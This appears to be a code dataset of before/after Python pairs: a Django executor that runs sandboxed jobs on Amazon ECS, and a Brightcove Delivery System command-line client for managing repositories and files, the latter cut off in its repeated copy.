logger = logging.getLogger(__name__)
class TaskStatus(Enum):
RUNNING = "RUNNING"
STOPPED = "STOPPED"
class AmazonECSExecutor:
IS_EVENT_DRIVEN = True
def __init__(
self,
*,
job_id: str,
exec_image_sha256: str,
exec_image_repo_tag: str,
exec_image_file: File,
memory_limit: int,
time_limit: int,
requires_gpu: bool,
):
self._job_id = job_id
self._exec_image_sha256 = exec_image_sha256
self._exec_image_repo_tag = exec_image_repo_tag
self._exec_image_file = exec_image_file
self._memory_limit = memory_limit
self._time_limit = time_limit
self._requires_gpu = requires_gpu
if not self._requires_gpu and self._memory_limit > 6:
# Currently non-GPU jobs can only get 6GB of memory
# due to the CPU pools instance types
logger.warning("Non-GPU job memory restricted")
self._memory_limit = 6
if self._memory_limit < 4 or self._memory_limit > 30:
raise RuntimeError("AWS only supports 4g to 30g of memory")
self.__duration = None
self.__ecs_client = None
self.__logs_client = None
@staticmethod
def get_job_params(*, event):
try:
task_definition_arn = event["taskDefinitionArn"]
group = event["group"]
except KeyError as e:
raise EventError("Malformed event") from e
if group.startswith("service:"):
raise EventError("Service events not handled")
job_id = task_definition_arn.split("/")[-1].split(":")[0]
job_app_label, job_model_name, job_pk = job_id.split("-", 2)
return job_app_label, job_model_name, job_pk
def provision(self, *, input_civs, input_prefixes):
self._create_io_volumes()
self._copy_input_files(
input_civs=input_civs, input_prefixes=input_prefixes
)
def execute(self):
task_definition_arn = self._register_task_definition()
self._run_task(task_definition_arn=task_definition_arn)
def handle_event(self, *, event):
logger.info(f"Handling {event=}")
container_exit_codes = self._get_container_exit_codes(event=event)
self._set_duration(event=event)
self._wait_for_log_delivery()
self._handle_container_exit(container_exit_codes=container_exit_codes)
def get_outputs(self, *, output_interfaces):
outputs = []
with transaction.atomic():
# Atomic block required as create_instance needs to
# create interfaces in order to store the files
for interface in output_interfaces:
if interface.is_image_kind:
res = self._create_images_result(interface=interface)
elif interface.is_json_kind:
res = self._create_json_result(interface=interface)
else:
res = self._create_file_result(interface=interface)
outputs.append(res)
return outputs
def deprovision(self):
try:
shutil.rmtree(self._job_directory)
except FileNotFoundError:
logger.warning(
f"Directory not found when trying to remove it: {self._job_directory}"
)
self._stop_running_tasks()
self._deregister_task_definitions()
@property
def stdout(self):
try:
return "\n".join(self._get_task_logs(source="stdout"))
except Exception as e:
logger.warning(f"Could not fetch stdout: {e}")
return ""
@property
def stderr(self):
try:
return "\n".join(self._get_task_logs(source="stderr"))
except Exception as e:
logger.warning(f"Could not fetch stderr: {e}")
return ""
@property
def duration(self):
return self.__duration
@property
def _ecs_client(self):
if self.__ecs_client is None:
self.__ecs_client = boto3.client(
"ecs", region_name=settings.COMPONENTS_AMAZON_ECS_REGION
)
return self.__ecs_client
@property
def _logs_client(self):
if self.__logs_client is None:
self.__logs_client = boto3.client(
"logs", region_name=settings.COMPONENTS_AMAZON_ECS_REGION
)
return self.__logs_client
@property
def _cluster_arn(self):
if self._requires_gpu:
return settings.COMPONENTS_AMAZON_ECS_GPU_CLUSTER_ARN
else:
return settings.COMPONENTS_AMAZON_ECS_CPU_CLUSTER_ARN
@property
def _log_stream_prefix(self):
return "ecs"
@property
def _main_container_name(self):
return self._job_id
@property
def _timeout_container_name(self):
return f"{self._main_container_name}-timeout"
def _wait_for_log_delivery(self):
# It takes some time for all of the logs to finish delivery to
# CloudWatch. Add a wait period here to allow for this.
# Maybe we should do this in a better way, but the rest of the
# system assumes that all the logs are available.
sleep(10)
def _get_task_logs(self, *, source):
response = self._logs_client.get_log_events(
logGroupName=settings.COMPONENTS_AMAZON_ECS_LOG_GROUP_NAME,
logStreamName=f"{self._log_stream_prefix}/{self._main_container_name}",
limit=LOGLINES,
startFromHead=False,
)
events = response["events"]
loglines = []
for event in events:
message = json.loads(event["message"])
if message["source"] == source:
timestamp = self._timestamp_to_datetime(event["timestamp"])
log = message["log"].replace("\x00", "")
loglines.append(f"{timestamp.isoformat()} {log}")
return loglines
@staticmethod
def _timestamp_to_datetime(timestamp):
"""Convert AWS timestamps (ms from epoch) to datetime"""
return datetime.fromtimestamp(timestamp * 0.001, tz=timezone.utc)
def _set_duration(self, *, event):
try:
started = (
event["startedAt"]
if "startedAt" in event
else event["createdAt"]
)
stopped = event["stoppedAt"]
self.__duration = isoparse(stopped) - isoparse(started)
except Exception as e:
logger.warning(f"Could not determine duration: {e}")
self.__duration = None
@property
def _job_directory(self):
dir_parts = self._job_id.split("-", 2)
if len(dir_parts) != 3:
raise ValueError(f"Invalid job id {self._job_id}")
return (
Path(settings.COMPONENTS_AMAZON_ECS_NFS_MOUNT_POINT)
/ dir_parts[0]
/ dir_parts[1]
/ dir_parts[2]
).resolve()
@property
def _input_directory(self):
return self._job_directory / "input"
@property
def _output_directory(self):
return self._job_directory / "output"
def _create_io_volumes(self):
self._job_directory.parent.parent.mkdir(exist_ok=True, parents=False)
self._job_directory.parent.mkdir(exist_ok=True, parents=False)
self._job_directory.mkdir(exist_ok=False, parents=False)
self._input_directory.mkdir(exist_ok=False, parents=False)
self._output_directory.mkdir(exist_ok=False, parents=False)
def _copy_input_files(self, *, input_civs, input_prefixes):
for civ in input_civs:
prefix = self._input_directory
if str(civ.pk) in input_prefixes:
prefix = safe_join(prefix, input_prefixes[str(civ.pk)])
dest = Path(safe_join(prefix, civ.relative_path))
# We know that the dest is within the prefix as
# safe_join is used, so ok to create the parents here
dest.parent.mkdir(exist_ok=True, parents=True)
if civ.decompress:
try:
safe_extract(src=civ.input_file, dest=dest.parent)
except Exception as e:
raise ComponentException(
"Could not extract input zip file"
) from e
else:
with civ.input_file.open("rb") as fs, open(dest, "wb") as fd:
for chunk in fs.chunks():
fd.write(chunk)
@property
def _resource_requirements(self):
if self._requires_gpu:
return [{"type": "GPU", "value": "1"}]
else:
return []
@property
def _required_memory_units(self):
return 1024 * self._memory_limit
@property
def _required_cpu_units(self):
return 4096 if self._memory_limit > 16 else 2048
@property
def _container_definitions(self):
container_definitions = [
{
# Add a second essential container that kills the task
# once the time limit is reached.
# See https://github.com/aws/containers-roadmap/issues/572
"command": ["sleep", str(self._time_limit)],
"image": "public.ecr.aws/amazonlinux/amazonlinux:2",
"name": self._timeout_container_name,
"dependsOn": [
{
"containerName": self._main_container_name,
"condition": "START",
}
],
},
{
"cpu": self._required_cpu_units,
"image": self._exec_image_repo_tag,
"memory": self._required_memory_units,
"mountPoints": [
{
"containerPath": "/input",
"sourceVolume": f"{self._job_id}-input",
"readOnly": True,
},
{
"containerPath": "/output",
"sourceVolume": f"{self._job_id}-output",
"readOnly": False,
},
],
"name": self._main_container_name,
"resourceRequirements": self._resource_requirements,
},
]
for c in container_definitions:
c.update(
{
"disableNetworking": True,
"dockerSecurityOptions": ["no-new-privileges"],
"essential": True, # all essential for timeout to work
"linuxParameters": {
"capabilities": {"drop": ["ALL"]},
"initProcessEnabled": True,
"maxSwap": 0,
"swappiness": 0,
"sharedMemorySize": settings.COMPONENTS_SHARED_MEMORY_SIZE,
},
"logConfiguration": {
"logDriver": "fluentd",
"options": {
"fluentd-address": "unix:///tmp/fluent-bit/sock",
"tag": f"/{c["name"]}",
},
},
"privileged": False,
"ulimits": [
{
"name": "nproc",
"hardLimit": settings.COMPONENTS_PIDS_LIMIT,
"softLimit": settings.COMPONENTS_PIDS_LIMIT,
}
],
}
)
return container_definitions
def _register_task_definition(self):
response = self._ecs_client.register_task_definition(
containerDefinitions=self._container_definitions,
cpu=str(self._required_cpu_units),
family=self._job_id,
memory=str(self._required_memory_units),
networkMode="none",
requiresCompatibilities=["EC2"],
taskRoleArn=settings.COMPONENTS_AMAZON_ECS_TASK_ROLE_ARN,
# TODO set tags
volumes=[
{
"name": f"{self._job_id}-input",
"host": {"sourcePath": str(self._input_directory)},
},
{
"name": f"{self._job_id}-output",
"host": {"sourcePath": str(self._output_directory)},
},
],
)
return response["taskDefinition"]["taskDefinitionArn"]
def _run_task(self, *, task_definition_arn):
if not self._list_task_arns(desired_status=TaskStatus.RUNNING):
try:
response = self._ecs_client.run_task(
cluster=self._cluster_arn,
count=1,
enableExecuteCommand=False,
enableECSManagedTags=True,
group=settings.COMPONENTS_AMAZON_ECS_LOG_GROUP_NAME,
placementConstraints=[{"type": "distinctInstance"}],
propagateTags="TASK_DEFINITION",
referenceId=self._job_id,
taskDefinition=task_definition_arn,
)
except self._ecs_client.exceptions.ClientException as e:
if (
e.response["Error"]["Message"]
== "Tasks provisioning capacity limit exceeded."
):
raise RetryStep("Capacity Limit Exceeded") from e
else:
raise
task_arns = [t["taskArn"] for t in response["tasks"]]
if len(task_arns) == 0:
logger.info(f"ECS run_task {response=}")
raise RetryStep("No tasks started by ECS")
else:
logger.info(f"Scheduled {task_arns=}")
else:
logger.warning("A task is already running for this job")
def _get_container_exit_codes(self, *, event):
stop_code = event["stopCode"]
container_exit_codes = {
c["name"]: int(c["exitCode"])
for c in event.get("containers", {})
if "exitCode" in c
}
if stop_code == "TaskFailedToStart" and container_exit_codes.get(
self._main_container_name
) in {0, 1}:
# Sometimes the entire task fails to start, but the main
# container ran before the sidecar(s) could start
pass
elif stop_code in ["TaskFailedToStart", "TerminationNotice"]:
# Requeue the task in the event of resources not available
# or termination
self._run_task(task_definition_arn=event["taskDefinitionArn"])
raise TaskStillExecuting
elif stop_code == "UserInitiated":
raise TaskCancelled
return container_exit_codes
def _handle_container_exit(self, *, container_exit_codes):
if container_exit_codes.get(self._main_container_name) == 0:
# Job's a good un
return
elif container_exit_codes.get(self._main_container_name) == 137:
raise ComponentException(
"The container was killed as it exceeded the memory limit "
f"of {self._memory_limit}g."
)
elif container_exit_codes.get(self._timeout_container_name) == 0:
raise ComponentException("Time limit exceeded")
else:
raise ComponentException(user_error(self.stderr))
def _list_task_arns(
self, *, desired_status, next_token="", task_arns=None
):
if task_arns is None:
task_arns = []
response = self._ecs_client.list_tasks(
cluster=self._cluster_arn,
family=self._job_id,
desiredStatus=desired_status.value,
nextToken=next_token,
)
task_arns += response["taskArns"]
if "nextToken" in response:
return self._list_task_arns(
desired_status=desired_status,
next_token=response["nextToken"],
task_arns=task_arns,
)
return task_arns
def _stop_running_tasks(self):
"""Stop all the running tasks for this job"""
task_arns = self._list_task_arns(desired_status=TaskStatus.RUNNING)
for task_arn in task_arns:
self._ecs_client.stop_task(
cluster=self._cluster_arn, task=task_arn
)
def _deregister_task_definitions(self):
response = self._ecs_client.list_task_definitions(
familyPrefix=self._job_id, status="ACTIVE"
)
next_token = response.get("nextToken")
for task_definition_arn in response["taskDefinitionArns"]:
self._ecs_client.deregister_task_definition(
taskDefinition=task_definition_arn
)
if next_token:
self._deregister_task_definitions()
def _create_images_result(self, *, interface):
base_dir = Path(
safe_join(self._output_directory, interface.relative_path)
)
output_files = [f for f in base_dir.glob("*") if f.is_file()]
if not output_files:
raise ComponentException(f"{interface.relative_path} is empty")
importer_result = import_images(
input_directory=base_dir,
builders=[image_builder_mhd, image_builder_tiff],
recurse_subdirectories=False,
)
if len(importer_result.new_images) == 0:
raise ComponentException(
f"No images imported from {interface.relative_path}"
)
elif len(importer_result.new_images) > 1:
raise ComponentException(
f"Only 1 image should be produced in {interface.relative_path}, "
f"we found {len(importer_result.new_images)}"
)
try:
civ = interface.create_instance(
image=next(iter(importer_result.new_images))
)
except ValidationError:
raise ComponentException(
f"The image produced in {interface.relative_path} is not valid"
)
return civ
def _create_file_result(self, *, interface):
output_file = Path(
safe_join(self._output_directory, interface.relative_path)
)
if (
output_file.is_symlink()
or not output_file.is_file()
or not output_file.exists()
):
raise ComponentException(
f"File {interface.relative_path} was not produced"
)
try:
with open(output_file, "rb") as f:
civ = interface.create_instance(fileobj=f)
except ValidationError:
raise ComponentException(
f"The file produced at {interface.relative_path} is not valid"
)
return civ
def _create_json_result(self, *, interface):
output_file = Path(
safe_join(self._output_directory, interface.relative_path)
)
if (
output_file.is_symlink()
or not output_file.is_file()
or not output_file.exists()
):
raise ComponentException(
f"File {interface.relative_path} was not produced"
)
try:
with open(output_file, "rb") as f:
result = json.loads(
f.read().decode("utf-8"),
parse_constant=lambda x: None, # Removes -inf, inf and NaN
)
except JSONDecodeError:
raise ComponentException(
f"The file produced at {interface.relative_path} is not valid json"
)
try:
civ = interface.create_instance(value=result)
except ValidationError:
raise ComponentException(
f"The file produced at {interface.relative_path} is not valid"
)
return civ
| import json
import logging
import shutil
from datetime import datetime, timezone
from enum import Enum
from json import JSONDecodeError
from pathlib import Path
from time import sleep
import boto3
from dateutil.parser import isoparse
from django.conf import settings
from django.core.exceptions import ValidationError
from django.core.files import File
from django.db import transaction
from django.utils._os import safe_join
from panimg.image_builders import image_builder_mhd, image_builder_tiff
from grandchallenge.cases.tasks import import_images
from grandchallenge.components.backends.exceptions import (
ComponentException,
EventError,
RetryStep,
TaskCancelled,
TaskStillExecuting,
)
from grandchallenge.components.backends.utils import (
LOGLINES,
safe_extract,
user_error,
)
logger = logging.getLogger(__name__)
class TaskStatus(Enum):
RUNNING = "RUNNING"
STOPPED = "STOPPED"
class AmazonECSExecutor:
IS_EVENT_DRIVEN = True
def __init__(
self,
*,
job_id: str,
exec_image_sha256: str,
exec_image_repo_tag: str,
exec_image_file: File,
memory_limit: int,
time_limit: int,
requires_gpu: bool,
):
self._job_id = job_id
self._exec_image_sha256 = exec_image_sha256
self._exec_image_repo_tag = exec_image_repo_tag
self._exec_image_file = exec_image_file
self._memory_limit = memory_limit
self._time_limit = time_limit
self._requires_gpu = requires_gpu
if not self._requires_gpu and self._memory_limit > 6:
# Currently non-GPU jobs can only get 6GB of memory
# due to the CPU pools instance types
logger.warning("Non-GPU job memory restricted")
self._memory_limit = 6
if self._memory_limit < 4 or self._memory_limit > 30:
raise RuntimeError("AWS only supports 4g to 30g of memory")
self.__duration = None
self.__ecs_client = None
self.__logs_client = None
@staticmethod
def get_job_params(*, event):
try:
task_definition_arn = event["taskDefinitionArn"]
group = event["group"]
except KeyError as e:
raise EventError("Malformed event") from e
if group.startswith("service:"):
raise EventError("Service events not handled")
job_id = task_definition_arn.split("/")[-1].split(":")[0]
job_app_label, job_model_name, job_pk = job_id.split("-", 2)
return job_app_label, job_model_name, job_pk
def provision(self, *, input_civs, input_prefixes):
self._create_io_volumes()
self._copy_input_files(
input_civs=input_civs, input_prefixes=input_prefixes
)
def execute(self):
task_definition_arn = self._register_task_definition()
self._run_task(task_definition_arn=task_definition_arn)
def handle_event(self, *, event):
logger.info(f"Handling {event=}")
container_exit_codes = self._get_container_exit_codes(event=event)
self._set_duration(event=event)
self._wait_for_log_delivery()
self._handle_container_exit(container_exit_codes=container_exit_codes)
def get_outputs(self, *, output_interfaces):
outputs = []
with transaction.atomic():
# Atomic block required as create_instance needs to
# create interfaces in order to store the files
for interface in output_interfaces:
if interface.is_image_kind:
res = self._create_images_result(interface=interface)
elif interface.is_json_kind:
res = self._create_json_result(interface=interface)
else:
res = self._create_file_result(interface=interface)
outputs.append(res)
return outputs
def deprovision(self):
try:
shutil.rmtree(self._job_directory)
except FileNotFoundError:
logger.warning(
f"Directory not found when trying to remove it: {self._job_directory}"
)
self._stop_running_tasks()
self._deregister_task_definitions()
@property
def stdout(self):
try:
return "\n".join(self._get_task_logs(source="stdout"))
except Exception as e:
logger.warning(f"Could not fetch stdout: {e}")
return ""
@property
def stderr(self):
try:
return "\n".join(self._get_task_logs(source="stderr"))
except Exception as e:
logger.warning(f"Could not fetch stderr: {e}")
return ""
@property
def duration(self):
return self.__duration
@property
def _ecs_client(self):
if self.__ecs_client is None:
self.__ecs_client = boto3.client(
"ecs", region_name=settings.COMPONENTS_AMAZON_ECS_REGION
)
return self.__ecs_client
@property
def _logs_client(self):
if self.__logs_client is None:
self.__logs_client = boto3.client(
"logs", region_name=settings.COMPONENTS_AMAZON_ECS_REGION
)
return self.__logs_client
@property
def _cluster_arn(self):
if self._requires_gpu:
return settings.COMPONENTS_AMAZON_ECS_GPU_CLUSTER_ARN
else:
return settings.COMPONENTS_AMAZON_ECS_CPU_CLUSTER_ARN
@property
def _log_stream_prefix(self):
return "ecs"
@property
def _main_container_name(self):
return self._job_id
@property
def _timeout_container_name(self):
return f"{self._main_container_name}-timeout"
def _wait_for_log_delivery(self):
# It takes some time for all of the logs to finish delivery to
# CloudWatch. Add a wait period here to allow for this.
# Maybe we should do this in a better way, but the rest of the
# system assumes that all the logs are available.
sleep(10)
def _get_task_logs(self, *, source):
response = self._logs_client.get_log_events(
logGroupName=settings.COMPONENTS_AMAZON_ECS_LOG_GROUP_NAME,
logStreamName=f"{self._log_stream_prefix}/{self._main_container_name}",
limit=LOGLINES,
startFromHead=False,
)
events = response["events"]
loglines = []
for event in events:
message = json.loads(event["message"])
if message["source"] == source:
timestamp = self._timestamp_to_datetime(event["timestamp"])
log = message["log"].replace("\x00", "")
loglines.append(f"{timestamp.isoformat()} {log}")
return loglines
@staticmethod
def _timestamp_to_datetime(timestamp):
"""Convert AWS timestamps (ms from epoch) to datetime"""
return datetime.fromtimestamp(timestamp * 0.001, tz=timezone.utc)
def _set_duration(self, *, event):
try:
started = (
event["startedAt"]
if "startedAt" in event
else event["createdAt"]
)
stopped = event["stoppedAt"]
self.__duration = isoparse(stopped) - isoparse(started)
except Exception as e:
logger.warning(f"Could not determine duration: {e}")
self.__duration = None
@property
def _job_directory(self):
dir_parts = self._job_id.split("-", 2)
if len(dir_parts) != 3:
raise ValueError(f"Invalid job id {self._job_id}")
return (
Path(settings.COMPONENTS_AMAZON_ECS_NFS_MOUNT_POINT)
/ dir_parts[0]
/ dir_parts[1]
/ dir_parts[2]
).resolve()
@property
def _input_directory(self):
return self._job_directory / "input"
@property
def _output_directory(self):
return self._job_directory / "output"
def _create_io_volumes(self):
self._job_directory.parent.parent.mkdir(exist_ok=True, parents=False)
self._job_directory.parent.mkdir(exist_ok=True, parents=False)
self._job_directory.mkdir(exist_ok=False, parents=False)
self._input_directory.mkdir(exist_ok=False, parents=False)
self._output_directory.mkdir(exist_ok=False, parents=False)
def _copy_input_files(self, *, input_civs, input_prefixes):
for civ in input_civs:
prefix = self._input_directory
if str(civ.pk) in input_prefixes:
prefix = safe_join(prefix, input_prefixes[str(civ.pk)])
dest = Path(safe_join(prefix, civ.relative_path))
# We know that the dest is within the prefix as
# safe_join is used, so ok to create the parents here
dest.parent.mkdir(exist_ok=True, parents=True)
if civ.decompress:
try:
safe_extract(src=civ.input_file, dest=dest.parent)
except Exception as e:
raise ComponentException(
"Could not extract input zip file"
) from e
else:
with civ.input_file.open("rb") as fs, open(dest, "wb") as fd:
for chunk in fs.chunks():
fd.write(chunk)
@property
def _resource_requirements(self):
if self._requires_gpu:
return [{"type": "GPU", "value": "1"}]
else:
return []
@property
def _required_memory_units(self):
return 1024 * self._memory_limit
@property
def _required_cpu_units(self):
return 4096 if self._memory_limit > 16 else 2048
@property
def _container_definitions(self):
container_definitions = [
{
# Add a second essential container that kills the task
# once the time limit is reached.
# See https://github.com/aws/containers-roadmap/issues/572
"command": ["sleep", str(self._time_limit)],
"image": "public.ecr.aws/amazonlinux/amazonlinux:2",
"name": self._timeout_container_name,
"dependsOn": [
{
"containerName": self._main_container_name,
"condition": "START",
}
],
},
{
"cpu": self._required_cpu_units,
"image": self._exec_image_repo_tag,
"memory": self._required_memory_units,
"mountPoints": [
{
"containerPath": "/input",
"sourceVolume": f"{self._job_id}-input",
"readOnly": True,
},
{
"containerPath": "/output",
"sourceVolume": f"{self._job_id}-output",
"readOnly": False,
},
],
"name": self._main_container_name,
"resourceRequirements": self._resource_requirements,
},
]
for c in container_definitions:
c.update(
{
"disableNetworking": True,
"dockerSecurityOptions": ["no-new-privileges"],
"essential": True, # all essential for timeout to work
"linuxParameters": {
"capabilities": {"drop": ["ALL"]},
"initProcessEnabled": True,
"maxSwap": 0,
"swappiness": 0,
"sharedMemorySize": settings.COMPONENTS_SHARED_MEMORY_SIZE,
},
"logConfiguration": {
"logDriver": "fluentd",
"options": {
"fluentd-address": "unix:///tmp/fluent-bit/sock",
"tag": f"/{c['name']}",
},
},
"privileged": False,
"ulimits": [
{
"name": "nproc",
"hardLimit": settings.COMPONENTS_PIDS_LIMIT,
"softLimit": settings.COMPONENTS_PIDS_LIMIT,
}
],
}
)
return container_definitions
def _register_task_definition(self):
response = self._ecs_client.register_task_definition(
containerDefinitions=self._container_definitions,
cpu=str(self._required_cpu_units),
family=self._job_id,
memory=str(self._required_memory_units),
networkMode="none",
requiresCompatibilities=["EC2"],
taskRoleArn=settings.COMPONENTS_AMAZON_ECS_TASK_ROLE_ARN,
# TODO set tags
volumes=[
{
"name": f"{self._job_id}-input",
"host": {"sourcePath": str(self._input_directory)},
},
{
"name": f"{self._job_id}-output",
"host": {"sourcePath": str(self._output_directory)},
},
],
)
return response["taskDefinition"]["taskDefinitionArn"]
def _run_task(self, *, task_definition_arn):
if not self._list_task_arns(desired_status=TaskStatus.RUNNING):
try:
response = self._ecs_client.run_task(
cluster=self._cluster_arn,
count=1,
enableExecuteCommand=False,
enableECSManagedTags=True,
group=settings.COMPONENTS_AMAZON_ECS_LOG_GROUP_NAME,
placementConstraints=[{"type": "distinctInstance"}],
propagateTags="TASK_DEFINITION",
referenceId=self._job_id,
taskDefinition=task_definition_arn,
)
except self._ecs_client.exceptions.ClientException as e:
if (
e.response["Error"]["Message"]
== "Tasks provisioning capacity limit exceeded."
):
raise RetryStep("Capacity Limit Exceeded") from e
else:
raise
task_arns = [t["taskArn"] for t in response["tasks"]]
if len(task_arns) == 0:
logger.info(f"ECS run_task {response=}")
raise RetryStep("No tasks started by ECS")
else:
logger.info(f"Scheduled {task_arns=}")
else:
logger.warning("A task is already running for this job")
def _get_container_exit_codes(self, *, event):
stop_code = event["stopCode"]
container_exit_codes = {
c["name"]: int(c["exitCode"])
for c in event.get("containers", {})
if "exitCode" in c
}
if stop_code == "TaskFailedToStart" and container_exit_codes.get(
self._main_container_name
) in {0, 1}:
# Sometimes the entire task fails to start, but the main
# container ran before the sidecar(s) could start
pass
elif stop_code in ["TaskFailedToStart", "TerminationNotice"]:
# Requeue the task in the event of resources not available
# or termination
self._run_task(task_definition_arn=event["taskDefinitionArn"])
raise TaskStillExecuting
elif stop_code == "UserInitiated":
raise TaskCancelled
return container_exit_codes
def _handle_container_exit(self, *, container_exit_codes):
if container_exit_codes.get(self._main_container_name) == 0:
# Job's a good un
return
elif container_exit_codes.get(self._main_container_name) == 137:
raise ComponentException(
"The container was killed as it exceeded the memory limit "
f"of {self._memory_limit}g."
)
elif container_exit_codes.get(self._timeout_container_name) == 0:
raise ComponentException("Time limit exceeded")
else:
raise ComponentException(user_error(self.stderr))
def _list_task_arns(
self, *, desired_status, next_token="", task_arns=None
):
if task_arns is None:
task_arns = []
response = self._ecs_client.list_tasks(
cluster=self._cluster_arn,
family=self._job_id,
desiredStatus=desired_status.value,
nextToken=next_token,
)
task_arns += response["taskArns"]
if "nextToken" in response:
return self._list_task_arns(
desired_status=desired_status,
next_token=response["nextToken"],
task_arns=task_arns,
)
return task_arns
def _stop_running_tasks(self):
"""Stop all the running tasks for this job"""
task_arns = self._list_task_arns(desired_status=TaskStatus.RUNNING)
for task_arn in task_arns:
self._ecs_client.stop_task(
cluster=self._cluster_arn, task=task_arn
)
def _deregister_task_definitions(self):
response = self._ecs_client.list_task_definitions(
familyPrefix=self._job_id, status="ACTIVE"
)
next_token = response.get("nextToken")
for task_definition_arn in response["taskDefinitionArns"]:
self._ecs_client.deregister_task_definition(
taskDefinition=task_definition_arn
)
if next_token:
self._deregister_task_definitions()
def _create_images_result(self, *, interface):
base_dir = Path(
safe_join(self._output_directory, interface.relative_path)
)
output_files = [f for f in base_dir.glob("*") if f.is_file()]
if not output_files:
raise ComponentException(f"{interface.relative_path} is empty")
importer_result = import_images(
input_directory=base_dir,
builders=[image_builder_mhd, image_builder_tiff],
recurse_subdirectories=False,
)
if len(importer_result.new_images) == 0:
raise ComponentException(
f"No images imported from {interface.relative_path}"
)
elif len(importer_result.new_images) > 1:
raise ComponentException(
f"Only 1 image should be produced in {interface.relative_path}, "
f"we found {len(importer_result.new_images)}"
)
try:
civ = interface.create_instance(
image=next(iter(importer_result.new_images))
)
except ValidationError:
raise ComponentException(
f"The image produced in {interface.relative_path} is not valid"
)
return civ
def _create_file_result(self, *, interface):
output_file = Path(
safe_join(self._output_directory, interface.relative_path)
)
if (
output_file.is_symlink()
or not output_file.is_file()
or not output_file.exists()
):
raise ComponentException(
f"File {interface.relative_path} was not produced"
)
try:
with open(output_file, "rb") as f:
civ = interface.create_instance(fileobj=f)
except ValidationError:
raise ComponentException(
f"The file produced at {interface.relative_path} is not valid"
)
return civ
def _create_json_result(self, *, interface):
output_file = Path(
safe_join(self._output_directory, interface.relative_path)
)
if (
output_file.is_symlink()
or not output_file.is_file()
or not output_file.exists()
):
raise ComponentException(
f"File {interface.relative_path} was not produced"
)
try:
with open(output_file, "rb") as f:
result = json.loads(
f.read().decode("utf-8"),
parse_constant=lambda x: None, # Removes -inf, inf and NaN
)
except JSONDecodeError:
raise ComponentException(
f"The file produced at {interface.relative_path} is not valid json"
)
try:
civ = interface.create_instance(value=result)
except ValidationError:
raise ComponentException(
f"The file produced at {interface.relative_path} is not valid"
)
return civ
|
#!/usr/bin/env python3
import sys
import argparse
from brightcove.DeliverySystem import DeliverySystem
from brightcove.OAuth import OAuth
from brightcove.utils import load_account_info
# init the argument parsing
parser = argparse.ArgumentParser(prog=sys.argv[0])
parser.add_argument('--list', action='store_true', default=False, help='List all repositories or files in account or repository')
parser.add_argument('--add', action='store_true', default=False, help='Add a repository or file to account or repository')
parser.add_argument('--delete', action='store_true', default=False, help='Delete a repository or file in account or repository')
parser.add_argument('--repo', metavar='<repository name>', type=str, help='Name of repository')
parser.add_argument('--file', metavar='<filename>', type=str, help='File name')
parser.add_argument('--config', metavar='<config filename>', type=str, help='Name and path of account config information file')
parser.add_argument('--account', metavar='<Brightcove Account ID>', type=str, help='Brightcove Account ID to use (if different from ID in config)')
# parse the args
args = parser.parse_args()
# get account info from config file
try:
account_id, client_id, client_secret, _ = load_account_info(args.config)
except Exception as e:
print(e)
sys.exit(2)
# if account ID was provided override the one from config
account_id = args.account or account_id
# create a Delivery System API instance
ds = DeliverySystem(OAuth(account_id=account_id,client_id=client_id, client_secret=client_secret))
# delete one or all subscriptions
if args.delete:
# delete a file in a repo?
if args.repo and args.file:
if args.file=='all':
print('Delete all files not supported yet.')
else:
response = ds.DeleteFileInRepository(repo_name=args.repo, file_name=args.file, account_id=account_id)
code = response.status_code
print(f'Deleting file "{args.file}" in repository "{args.repo}": {code}')
if code not in DeliverySystem.success_responses:
print(f'Error deleting file to repository: {response.text}')
# delete a repo?
elif args.repo:
response = ds.DeleteRepository(repo_name=args.repo, account_id=account_id)
code = response.status_code
print(f'Deleting repository "{args.repo}" in account ID {account_id}: {code}')
if code not in DeliverySystem.success_responses:
print(f'Error deleting repository: {response.text}')
# add a repo to account or a file to a repo
if args.add:
# add a file to a repo?
if args.repo and args.file:
response = ds.AddFileToRepository(repo_name=args.repo, file_name=args.file, account_id=account_id)
code = response.status_code
print(f'Adding file "{args.file}" to repository "{args.repo}": {code}')
if code in DeliverySystem.success_responses:
print(response.text)
else:
print(f'Error adding file to repository: {response.text}')
# add a repo
elif args.repo:
response = ds.CreateRepository(repo_name=args.repo, account_id=account_id)
code = response.status_code
print(f'Adding repository "{args.repo}" to account ID {account_id}: {code}')
if code in DeliverySystem.success_responses:
print(response.text)
else:
print(f'Error adding repository to account: {response.text}')
# list files in repo or list all repos in account
if args.list:
# list files in a repo?
if args.repo:
response = ds.ListFilesInRepository(repo_name=args.repo, account_id=account_id)
if response.status_code in DeliverySystem.success_responses:
response = response.json()
print(f'{response['item_count']} item(s) found in repository.\n')
for repo_file in response['items']:
print(f'Name: {repo_file['name']}\nURL.: {repo_file['public_url']}\n')
else:
print(f'Error listing files in repository: {response.text}')
# list repos in an account
else:
response = ds.ListRepositories(account_id=account_id)
if response.status_code in DeliverySystem.success_responses:
response = response.json()
print(f'{response['item_count']} item(s) found in account.\n')
for repo in response['items']:
print(f'Name: {repo['name']}')
else:
print(f'Error listing repositories in account: {response.text}')
| #!/usr/bin/env python3
import sys
import argparse
from brightcove.DeliverySystem import DeliverySystem
from brightcove.OAuth import OAuth
from brightcove.utils import load_account_info
# init the argument parsing
parser = argparse.ArgumentParser(prog=sys.argv[0])
parser.add_argument('--list', action='store_true', default=False, help='List all repositories or files in account or repository')
parser.add_argument('--add', action='store_true', default=False, help='Add a repository or file to account or repository')
parser.add_argument('--delete', action='store_true', default=False, help='Delete a repository or file in account or repository')
parser.add_argument('--repo', metavar='<repository name>', type=str, help='Name of repository')
parser.add_argument('--file', metavar='<filename>', type=str, help='File name')
parser.add_argument('--config', metavar='<config filename>', type=str, help='Name and path of account config information file')
parser.add_argument('--account', metavar='<Brightcove Account ID>', type=str, help='Brightcove Account ID to use (if different from ID in config)')
# parse the args
args = parser.parse_args()
# get account info from config file
try:
account_id, client_id, client_secret, _ = load_account_info(args.config)
except Exception as e:
print(e)
sys.exit(2)
# if account ID was provided override the one from config
account_id = args.account or account_id
# create a Delivery System API instance
ds = DeliverySystem(OAuth(account_id=account_id,client_id=client_id, client_secret=client_secret))
# delete one or all subscriptions
if args.delete:
# delete a file in a repo?
if args.repo and args.file:
if args.file=='all':
print('Delete all files not supported yet.')
else:
response = ds.DeleteFileInRepository(repo_name=args.repo, file_name=args.file, account_id=account_id)
code = response.status_code
print(f'Deleting file "{args.file}" in repository "{args.repo}": {code}')
if code not in DeliverySystem.success_responses:
print(f'Error deleting file to repository: {response.text}')
# delete a repo?
elif args.repo:
response = ds.DeleteRepository(repo_name=args.repo, account_id=account_id)
code = response.status_code
print(f'Deleting repository "{args.repo}" in account ID {account_id}: {code}')
